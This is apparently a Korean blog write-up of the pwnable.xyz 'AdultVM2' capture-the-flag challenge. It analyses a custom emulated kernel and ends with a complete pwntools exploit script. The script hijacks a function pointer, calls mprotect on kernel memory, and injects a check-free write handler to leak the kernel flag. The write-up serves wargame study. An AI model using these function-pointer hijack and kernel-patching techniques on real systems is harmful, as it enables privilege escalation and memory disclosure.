1. 문제
1) mitigation 확인
? Adult VM 문제와 동일하다.
2) 문제 확인
? 똑같다.
3) 코드 확인
코드도 볼게 없다. 그냥 코드도 똑같다.
2. 접근방법
Adult VM에서는 userland 영역에 /flag.txt를 찾으면 끝났다. 하지만 이번 문제는, /flag2.txt를 찾아야하고, 이는 userland가 아닌, kernel 영역에 존재한다.
참고로 이번 문제도 역시 롸업 분석 글이나 다름없다 ㅋ. ㅅㅂ
뭐.. 다 공부의 일종이지 않겠나..
어쨋든 start.py 코드를 쫌 살펴보자.
start_kernel 함수를 살펴보면, 커스텀 커널을 올리고, 밑에 보면, 커널 주소 + 0x5000에 flag2 파일이 들어있는것으로 보인다. hook 으로 핸들러가 등록되는데, handle_kernel_interrupt 함수도 등록된다.
int 0x70 이 호출되고, rax가 0이면, rdi, rsi, rdx 레지스터에 들어있는걸 복사한뒤, mprotect() 함수가 호출된다.
userland 바이너리를 보면, read, write 관련함수가 2개 존재한다. 그리고 syscall을 하는 함수가 존재한다. low level 단에서 원래 rax=0, rax=1 이 각각 read, write syscall 인데, 여기서는 커스텀 커널을 사용하므로, 문제에서 주어진 kernel 바이너리에 어떻게 syscall을 처리하는지 살펴보자
참고로 start.py에 kernel_address가 나와있다.
kernel
바이너리를 아이다에서 열때, 오프셋에 저렇게 주면 된다. 나도 이건 몰랐다.ㅋ ㅜㅅㅂ
어셈을 보면 위쪽에 저런게 보인다. 아마도 swtich case 문으로 구성되있는것 같다. 뭔지는 모르겠지만 61개있다.
그리고 아래쪽에 저런게 보인다. 0 ~ 60 개가 순서대로 들어가 있다.
천천히 분석을 해보면, rax=0 즉, userland에서 rax=0인 do_read가 호출되면 sys_read가 호출되면서 위 로직이 수행되는것으로 보인다. insb은 read처럼 쳐 넣는 명령어 같다.
저렇게 총 3개 0, 1, 10 만 구현이 되있는것으로 보인다. 즉, read, write, mprotect syscall 만 커스텀 커널에 구현이 되어있다.
우리의 최종 목표는 KERNEL_ADDRESS + 0x5000 에 들어있는 플래그를 출력시키는 것이다.
show_note() 함수의 어셈코드를 보면 다음과 같다
note 구조체에 들어있는 멤버변수 값들은 레지스터에 옮기고 print_note 함수포인터가 들어있는 rax를 호출한다. print_note 포인터 대신에 _syscall 함수를 호출하면
다음과 같이 원하는 레지스터에 원하는 값을 넣고 syscall을 호출시킬 수 있다.
그럼, rax에 10을 넣고 syscall을 하면, kernel 바이너리에 설정되어있는
요 로직시 수행될 것이고, eax에 0이 들어가면서, start.py에 설정되어있는 인터럽트 부분에서
mem_protect() 함수를 실행시킬수 있다. 즉, 이 함수를 호출시켜, 커널 주소에 권한을 준뒤에, write를 이용해서 커널주소+0x5000에 들어있는 플래그를 읽으면 된다.
- 시나리오
- sys_read를 이용해서 note[0]→id값을 10으로 만든다. 왜냐하면 해당 위치의 값이 sys_call 될때 rax가 들어가는 값이므로 mprotect를 호출하기 위해서임
- syscall로 mprotect 호출
- 커널 코드 중 sys_write 로직에서 범위 검사 부분이 있기 때문에, sys_write를 그대로 사용하면 안된다. 따라서 코드를 수정해서, rax=3 의 수행 로직에다가 범위 체크 없는 write 코드를 sys_read를 이용해서 넣기
- 3번에서 추가한 rax=3 을 syscall로 호출하여 커널주소+0x5000에 들어있는 플래그 읽기
3. 풀이
최종 익스코드는 다음과 같다
from pwn import *
context(log_level="DEBUG",arch="amd64")
p=remote("svc.pwnable.xyz",30048)
#p=process(["python","start.py"])
#p=process("./userland")
#gdb.attach(p,'code\nb *0x32D+$code\n')
def edit(id,content):
p.sendlineafter("3. Exit\n","1")
p.sendlineafter("id: ",str(id))
p.sendlineafter("ts: ",str(content))
def show(id):
p.sendlineafter("3. Exit\n","2")
p.sendlineafter("id: ",str(id))
for i in range(0,9):
edit(i,"AA")
#gdb.attach(p,'code\nb *0x32D+$code\n')
payload=p64(10) #rdi -> #rax
payload+=p64(0xFFFFFFFF81000000) #rsi -> #rdi
payload+=p64(0x2000) #rdx -> #rsi
payload+=p64(7) #rcx -> #rdx
payload+=p64(0x4000338) #rax
payload2=p64(0)
payload2+=p64(0x4100380)
payload2+=p64(len(payload))
payload2+=p64(0x2000) #rdx -> #rsi
payload2+=p64(0x7) #rcx -> #rdx
payload2+=p64(0x400000F)
edit(9,payload2)
show(0)
#sleep(1)
p.send(payload)
show(0)
custom_write ='''
mov rcx, rdx
mov rax, rcx
mov dx, 0x3F8
rep outsb
iret
'''
custom_write = asm(custom_write)
payload3=p64(0)
payload3+=p64(0)
payload3+=p64(0)
payload3+=p64(0xFFFFFFFF81000106)
payload3+=p64(len(custom_write))
payload3+=p64(0x4000338)
#pause()
edit(9,payload3)
show(0)
#sleep(1)
p.send(custom_write)
payload4=p64(0)
payload4+=p64(2)
payload4+=p64(1)
payload4+=p64(0xFFFFFFFF81000000+0x5000)
payload4+=p64(0x200)
payload4+=p64(0x4000338)
edit(9,payload4)
show(0)
# do_read()
p.interactive()
4. 몰랐던 개념
VM문제 더 풀어봐야겠다..
참고한 블로그는 다음과 같다
https://mineta.tistory.com/143?category=735547
'워게임 > pwnable.xyz' 카테고리의 다른 글
[pwnable.xyz] NoteV5 (0) | 2020.06.17 |
---|---|
[pwnable.xyz] AdultVM3 (0) | 2020.06.16 |
[pwnable.xyz] AdultVM (0) | 2020.06.15 |
[pwnable.xyz] note v4 (0) | 2020.06.14 |
[pwnable.xyz] fishing (0) | 2020.06.09 |